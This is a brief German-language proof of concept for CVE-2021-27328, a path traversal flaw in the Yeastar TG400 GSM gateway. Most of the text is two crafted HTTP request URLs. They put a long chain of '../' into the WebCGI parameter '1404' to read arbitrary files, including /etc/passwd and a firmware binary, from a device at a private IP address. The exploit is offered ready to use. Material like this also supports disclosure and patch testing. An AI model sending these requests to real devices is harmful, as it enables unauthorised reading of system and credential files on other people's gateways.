
Proof of Concept für Path Traversal in Yeastar TG400 GSM Gateway, das beliebiges Dateilesen über manipulierte HTTP-Anfragen an WebCGI demonstriert.
Dies ist ein Proof of Concept für CVE-2021-27328
http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../bin/firmware_detect

http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../etc/passwd
